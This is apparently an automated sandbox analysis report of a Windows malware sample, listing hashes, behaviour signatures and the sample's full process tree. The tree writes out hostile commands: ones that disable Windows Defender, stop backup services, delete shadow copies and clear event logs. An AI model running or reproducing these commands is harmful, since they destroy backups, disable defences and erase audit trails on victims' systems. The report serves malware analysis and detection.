Resubmissions

13-01-2022 14:14

220113-rj8ymsagb4 10

13-01-2022 11:04

220113-m6crhahfgj 10

13-01-2022 10:58

220113-m3a4hahef9 10

Analysis

  • max time kernel
    61s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    13-01-2022 11:04

General

  • Target

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe

  • Size

    2.5MB

  • MD5

    8fdfa1997b566f6e086c29e33935dcc5

  • SHA1

    178fbe1c8fc1a6e3440215d668797699f94a4bef

  • SHA256

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68

  • SHA512

    b185d1080c62f59ff26592321bf2a5cb85556260f34f59726cc9d5aeed1f82a48c710e8decd1212ddc2e4ca371ba83ad3aca6bf34587ddc73cc9c90afec467d5

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe
    "C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3456
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1984
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1632
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:64
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:4196
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4204
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:788
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4340
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:4428
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4388
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:4276
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3200
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:3804
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:316
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2836
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_13048" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:508
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_13048" /y
                        3⤵
                          PID:792
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:888
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:892
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1224
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1392
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:1624
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:1748
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:2052
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2408
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc.exe config "UnistoreSvc_13048" start= disabled
                                        2⤵
                                          PID:2712
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:2760
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:3728
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:3956
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:4084
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:4824
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:2204
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1304
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:2996
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:4852
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:4596
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:4872
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:4472
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:5028
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:624
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:1276
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:4944
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:4960
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:416
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:2104
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:1244
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:1588
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:1796
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:1856
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:2124
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:2596
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:4400
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3304
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:4932
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:4484
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:2304
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:3708
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:4988
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:3092
                                                                                                  • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:4976
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2828
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3456
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:364
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3408
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:816
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:4364
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:4292
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:3928
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:3268
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:2136
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2608

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                        SHA1

                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                        SHA256

                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                        SHA512

                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        5d8bf6eced4d0a80279646c6a37b9a4f

                                                                                                        SHA1

                                                                                                        1481dccc6b3a854d4e47bbac5b47192c4aa1f7e4

                                                                                                        SHA256

                                                                                                        cc60d80176eb96fc3f40b32201c4359942ccf293ba514832f4634dbd42d64c1c

                                                                                                        SHA512

                                                                                                        0a07227bd5705d99e6b48fe5e71dac9abdc5c72e831cebf6493fcb9a88b91422d3814f9ac45fddb60a2c70c26f24428a956cb7cddd25eaa0b5fc8c7c454afbc4

                                                                                                      • memory/64-119-0x0000000000000000-mapping.dmp

                                                                                                      • memory/316-129-0x0000000000000000-mapping.dmp

                                                                                                      • memory/364-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/416-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/508-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/624-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/788-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/792-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/888-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/892-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1224-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1244-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1276-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1304-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1392-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1588-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1624-137-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1632-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1748-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1796-163-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1856-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1984-117-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2052-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2104-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2124-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2204-147-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2304-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2408-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2596-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2608-537-0x0000000007483000-0x0000000007484000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2608-668-0x0000000009EC0000-0x0000000009EC8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2608-433-0x0000000004F10000-0x0000000004F46000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/2608-434-0x0000000007AC0000-0x00000000080E8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2608-457-0x0000000007A10000-0x0000000007A76000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2608-456-0x0000000007970000-0x0000000007992000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2608-455-0x0000000009960000-0x0000000009993000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2608-454-0x0000000009960000-0x0000000009993000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2608-453-0x0000000007AC0000-0x00000000080E8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2608-467-0x0000000009D30000-0x0000000009DD5000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/2608-468-0x0000000009DE0000-0x0000000009E74000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/2608-444-0x0000000008A20000-0x0000000008A96000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2608-443-0x0000000008D40000-0x0000000008D8B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2608-673-0x0000000009EC0000-0x0000000009EC8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2608-460-0x0000000008D40000-0x0000000008D8B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2608-662-0x0000000009EE0000-0x0000000009EFA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2608-667-0x0000000009EE0000-0x0000000009EFA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2608-458-0x000000007F010000-0x000000007F011000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2608-459-0x00000000083A0000-0x0000000008406000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2608-461-0x0000000008A20000-0x0000000008A96000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2608-435-0x0000000007970000-0x0000000007992000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2608-442-0x0000000008780000-0x000000000879C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/2608-440-0x0000000007480000-0x0000000007481000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2608-441-0x0000000007482000-0x0000000007483000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2608-436-0x0000000007A10000-0x0000000007A76000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2608-462-0x00000000098D0000-0x00000000098EE000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/2608-438-0x0000000008410000-0x0000000008760000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/2608-437-0x00000000083A0000-0x0000000008406000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2712-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2760-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2828-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2836-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2996-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3092-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3200-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3268-415-0x00000000096D0000-0x00000000096D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3268-181-0x0000000004870000-0x00000000048A6000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/3268-183-0x00000000071E0000-0x0000000007202000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3268-184-0x0000000007BC0000-0x0000000007C26000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3268-185-0x0000000007AE0000-0x0000000007B46000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3268-186-0x0000000006D70000-0x0000000006D71000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-187-0x0000000007CF0000-0x0000000008040000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/3268-188-0x0000000006D72000-0x0000000006D73000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-189-0x0000000007B90000-0x0000000007BAC000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/3268-190-0x0000000008570000-0x00000000085BB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3268-191-0x0000000008370000-0x00000000083E6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3268-192-0x00000000046F0000-0x00000000046F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-200-0x00000000073B0000-0x00000000079D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3268-201-0x0000000009230000-0x0000000009263000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3268-202-0x0000000009230000-0x0000000009263000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3268-203-0x00000000071E0000-0x0000000007202000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3268-204-0x0000000007BC0000-0x0000000007C26000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3268-205-0x0000000007AE0000-0x0000000007B46000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3268-206-0x0000000008570000-0x00000000085BB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3268-207-0x0000000008370000-0x00000000083E6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3268-208-0x0000000009210000-0x000000000922E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/3268-213-0x0000000009590000-0x0000000009635000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/3268-214-0x0000000009730000-0x00000000097C4000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/3268-215-0x000000007E580000-0x000000007E581000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-216-0x0000000006D73000-0x0000000006D74000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-409-0x00000000096E0000-0x00000000096FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3268-414-0x00000000096E0000-0x00000000096FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3268-179-0x00000000046F0000-0x00000000046F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3268-420-0x00000000096D0000-0x00000000096D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3268-182-0x00000000073B0000-0x00000000079D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3268-180-0x00000000046F0000-0x00000000046F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3304-168-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3456-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3456-116-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3708-172-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3728-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3804-128-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3952-115-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3956-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4084-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4196-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4204-121-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4276-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4340-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4388-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4400-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4428-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4472-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4484-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4596-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4824-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4852-150-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4872-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4932-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4944-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4960-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4976-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4988-173-0x0000000000000000-mapping.dmp

                                                                                                      • memory/5028-154-0x0000000000000000-mapping.dmp